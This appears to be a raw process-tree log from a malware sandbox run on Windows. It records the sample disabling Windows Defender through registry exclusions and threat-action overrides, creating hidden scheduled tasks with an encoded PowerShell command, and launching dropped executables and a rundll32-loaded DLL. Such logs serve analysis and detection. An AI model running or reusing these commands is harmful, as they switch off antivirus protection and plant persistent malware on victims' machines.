C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qxcTFNrCCcVU2" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\KEcCBLLXBtmTALVB /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\KEcCBLLXBtmTALVB /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\CKnNSHmmuepyQIalF /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\CKnNSHmmuepyQIalF /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\PTofrhojRUJWKHVX /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\PTofrhojRUJWKHVX /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gbVtYSzJG" /SC once /ST 07:09:51 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gbVtYSzJG"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gbVtYSzJG"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "XNQlKrfRLpUblmRkQ" /SC once /ST 12:01:23 /RU "SYSTEM" /TR "\"C:\Windows\Temp\PTofrhojRUJWKHVX\jHqGqLnVjsssakG\PhNeIgr.exe\" VK /site_id 690689 /S" /V1 /F2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "XNQlKrfRLpUblmRkQ"2⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True3⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Users\Admin\AppData\Local\Temp\tVZbqVmvFJKrqKATN\xiEpiqwXxkWUYEe\ZgasMSs.exeC:\Users\Admin\AppData\Local\Temp\tVZbqVmvFJKrqKATN\xiEpiqwXxkWUYEe\ZgasMSs.exe vy /site_id 525403 /S1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &2⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RyvdKFWmjNUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RyvdKFWmjNUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\bPOwHEXoU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\bPOwHEXoU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\lVSbegrPyGItQeJXJhR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\lVSbegrPyGItQeJXJhR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\paQbspCMBCTEC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\paQbspCMBCTEC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\pkhYLjaCWGvU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\pkhYLjaCWGvU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WpAvuyPKjpRvsnVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WpAvuyPKjpRvsnVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\tVZbqVmvFJKrqKATN\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\tVZbqVmvFJKrqKATN\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nMJWxioCIAKCtenU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nMJWxioCIAKCtenU\" /t REG_DWORD /d 0 /reg:64;"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RyvdKFWmjNUn" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RyvdKFWmjNUn" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RyvdKFWmjNUn" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bPOwHEXoU" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bPOwHEXoU" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lVSbegrPyGItQeJXJhR" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lVSbegrPyGItQeJXJhR" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\paQbspCMBCTEC" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\paQbspCMBCTEC" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\pkhYLjaCWGvU2" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\pkhYLjaCWGvU2" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WpAvuyPKjpRvsnVB /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\WpAvuyPKjpRvsnVB /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\tVZbqVmvFJKrqKATN /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\tVZbqVmvFJKrqKATN /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nMJWxioCIAKCtenU /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nMJWxioCIAKCtenU /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gTOEKjcGb" /SC once /ST 13:26:38 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gTOEKjcGb"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gTOEKjcGb"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "WZDWCVrgsNpBcofZS" /SC once /ST 15:05:33 /RU "SYSTEM" /TR "\"C:\Windows\Temp\nMJWxioCIAKCtenU\EZuSMLYHCSBlXsM\cXxTBBp.exe\" X5 /site_id 525403 /S" /V1 /F2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "WZDWCVrgsNpBcofZS"2⤵
-
C:\Users\Admin\AppData\Roaming\gbtdbcbC:\Users\Admin\AppData\Roaming\gbtdbcb1⤵
-
C:\Users\Admin\AppData\Local\Temp\D17B.exeC:\Users\Admin\AppData\Local\Temp\D17B.exe1⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
C:\Users\Admin\AppData\Local\Temp\4F0.exeC:\Users\Admin\AppData\Local\Temp\4F0.exe1⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
